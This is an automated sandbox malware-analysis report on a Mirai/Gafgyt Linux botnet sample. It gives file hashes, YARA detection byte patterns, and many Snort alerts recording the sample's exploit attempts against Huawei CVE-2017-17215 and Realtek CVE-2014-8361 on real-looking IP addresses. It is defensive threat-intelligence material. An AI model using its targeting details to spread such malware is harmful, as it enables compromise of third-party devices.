Edit tour

Linux Analysis Report
Pn0jlaHvxE.elf

Overview

General Information

Sample name:	Pn0jlaHvxE.elf renamed because original name is a hash value
Original sample name:	730b26a8902d957742869d76f82cb613.elf
Analysis ID:	1477285
MD5:	730b26a8902d957742869d76f82cb613
SHA1:	847012f6da8e0b22e1e927e79962d2a01f096894
SHA256:	39ce571136ba4058640a2af5963c3061f500a03e5c9b589995e2914d1f163bd4
Tags:	32elfgafgytpowerpc
Infos:

Detection

Mirai, Gafgyt, Okiru

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Gafgyt

Yara detected Mirai

Yara detected Okiru

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1477285
Start date and time:	2024-07-20 23:08:37 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	Pn0jlaHvxE.elf renamed because original name is a hash value
Original Sample Name:	730b26a8902d957742869d76f82cb613.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/3@4/0

Warnings

Connection to analysis system has been lost, crash info: Unknown
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/Pn0jlaHvxE.elf
PID:	5705
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

Pn0jlaHvxE.elf (PID: 5705, Parent: 5628, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/Pn0jlaHvxE.elf

Pn0jlaHvxE.elf New Fork (PID: 5707, Parent: 5705)

Pn0jlaHvxE.elf New Fork (PID: 5709, Parent: 5707)

Pn0jlaHvxE.elf New Fork (PID: 5711, Parent: 5707)

Pn0jlaHvxE.elf New Fork (PID: 5712, Parent: 5707)

Pn0jlaHvxE.elf New Fork (PID: 5715, Parent: 5707)

Pn0jlaHvxE.elf New Fork (PID: 5718, Parent: 5707)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Pn0jlaHvxE.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
Pn0jlaHvxE.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Pn0jlaHvxE.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Pn0jlaHvxE.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Pn0jlaHvxE.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Pn0jlaHvxE.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1f8d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f8ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f900:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f914:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f928:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f93c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f950:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f964:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f978:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f98c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f9a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f9b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f9c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f9dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f9f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fa04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fa18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fa2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fa40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fa54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fa68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5705.1.00007f518c001000.00007f518c025000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5705.1.00007f518c001000.00007f518c025000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5705.1.00007f518c001000.00007f518c025000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5705.1.00007f518c001000.00007f518c025000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5705.1.00007f518c001000.00007f518c025000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5705.1.00007f518c001000.00007f518c025000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1f8d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f8ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f900:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f914:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f928:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f93c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f950:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f964:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f978:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f98c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f9a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f9b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f9c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f9dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f9f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fa04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fa18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fa2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fa40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fa54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fa68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: Pn0jlaHvxE.elf PID: 5705	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: Pn0jlaHvxE.elf PID: 5705	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: Pn0jlaHvxE.elf PID: 5705	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: Pn0jlaHvxE.elf PID: 5705	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: Pn0jlaHvxE.elf PID: 5705	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x11bc3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11bd7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11beb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11bff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c13:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c27:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c3b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c4f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c63:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c77:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c8b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c9f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11cb3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11cc7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11cdb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11cef:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11d03:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11d17:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11d2b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11d3f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11d53:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 6 entries

Snort Signatures

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 63.75.117.57

Timestamp:	07/20/24-23:10:51.988569
SID:	2831300
Source Port:	38082
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 165.63.199.69

Timestamp:	07/20/24-23:10:59.053037
SID:	2829579
Source Port:	50588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.32.211.33

Timestamp:	07/20/24-23:10:49.360961
SID:	2835222
Source Port:	34094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.193.183.76

Timestamp:	07/20/24-23:10:46.865461
SID:	2835222
Source Port:	50586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.80.174.62

Timestamp:	07/20/24-23:10:41.232616
SID:	2835222
Source Port:	44286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.80.252.89

Timestamp:	07/20/24-23:10:46.778936
SID:	2829579
Source Port:	51300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.178.151.25

Timestamp:	07/20/24-23:10:52.547373
SID:	2829579
Source Port:	47476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.112.10.96

Timestamp:	07/20/24-23:11:03.396635
SID:	2835222
Source Port:	57850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 194.217.196.209

Timestamp:	07/20/24-23:10:39.723592
SID:	2027339
Source Port:	57064
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.115.200.222

Timestamp:	07/20/24-23:10:39.434366
SID:	2835222
Source Port:	37000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 8.28.61.99

Timestamp:	07/20/24-23:10:42.630640
SID:	2027339
Source Port:	59508
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.233.79.117

Timestamp:	07/20/24-23:10:40.652868
SID:	2829579
Source Port:	46756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.237.105.96

Timestamp:	07/20/24-23:10:46.810541
SID:	2835222
Source Port:	40006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.108.156.198

Timestamp:	07/20/24-23:10:42.249182
SID:	2829579
Source Port:	36518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.168.5.78

Timestamp:	07/20/24-23:10:56.024382
SID:	2829579
Source Port:	46170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.65.221.230

Timestamp:	07/20/24-23:10:46.809208
SID:	2829579
Source Port:	56984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.91.41.148

Timestamp:	07/20/24-23:10:42.250388
SID:	2829579
Source Port:	42248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 97.164.50.55

Timestamp:	07/20/24-23:10:44.166369
SID:	2027339
Source Port:	34916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 170.167.39.209

Timestamp:	07/20/24-23:10:47.625872
SID:	2025132
Source Port:	37054
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.113.186.8

Timestamp:	07/20/24-23:11:03.396635
SID:	2835222
Source Port:	48474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.210.203.242

Timestamp:	07/20/24-23:10:41.232616
SID:	2835222
Source Port:	38164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.141.186.237

Timestamp:	07/20/24-23:10:56.002189
SID:	2829579
Source Port:	59240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 40.70.214.228

Timestamp:	07/20/24-23:10:51.961781
SID:	2027339
Source Port:	47884
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 39.91.70.157

Timestamp:	07/20/24-23:10:51.969869
SID:	2831300
Source Port:	45066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 212.103.36.245

Timestamp:	07/20/24-23:10:41.228607
SID:	2829579
Source Port:	44498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 90.138.160.122

Timestamp:	07/20/24-23:10:47.568033
SID:	2025132
Source Port:	50430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.87.1.134

Timestamp:	07/20/24-23:10:49.360961
SID:	2829579
Source Port:	33890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 148.178.43.17

Timestamp:	07/20/24-23:10:48.350471
SID:	2027339
Source Port:	40574
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.35.230.166

Timestamp:	07/20/24-23:11:06.687949
SID:	2829579
Source Port:	43024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 89.6.108.50

Timestamp:	07/20/24-23:11:03.365385
SID:	2835222
Source Port:	57788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 90.4.66.163

Timestamp:	07/20/24-23:10:40.017556
SID:	2025132
Source Port:	37910
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 220.55.101.199

Timestamp:	07/20/24-23:10:42.619674
SID:	2831300
Source Port:	33538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.137.187.253

Timestamp:	07/20/24-23:10:59.055793
SID:	2835222
Source Port:	58916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 101.180.103.77

Timestamp:	07/20/24-23:10:47.775313
SID:	2027339
Source Port:	45186
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.37.162.85

Timestamp:	07/20/24-23:10:39.495983
SID:	2835222
Source Port:	36400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.97.133.247

Timestamp:	07/20/24-23:10:56.073192
SID:	2829579
Source Port:	58210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.251.200.44

Timestamp:	07/20/24-23:10:49.430121
SID:	2829579
Source Port:	46680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.16.139.162

Timestamp:	07/20/24-23:11:06.662677
SID:	2835222
Source Port:	39344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.34.85.223

Timestamp:	07/20/24-23:10:46.750827
SID:	2829579
Source Port:	49276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.22.59.86

Timestamp:	07/20/24-23:10:52.581034
SID:	2829579
Source Port:	33798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.134.108.111

Timestamp:	07/20/24-23:10:49.395188
SID:	2835222
Source Port:	42608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.61.39.75

Timestamp:	07/20/24-23:10:59.057855
SID:	2829579
Source Port:	39056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 184.128.6.167

Timestamp:	07/20/24-23:10:51.999918
SID:	2831300
Source Port:	60396
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.253.214.8

Timestamp:	07/20/24-23:11:06.662677
SID:	2829579
Source Port:	52278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.163.34.232

Timestamp:	07/20/24-23:10:56.006442
SID:	2835222
Source Port:	41544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.83.70.155

Timestamp:	07/20/24-23:10:46.778936
SID:	2829579
Source Port:	35920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

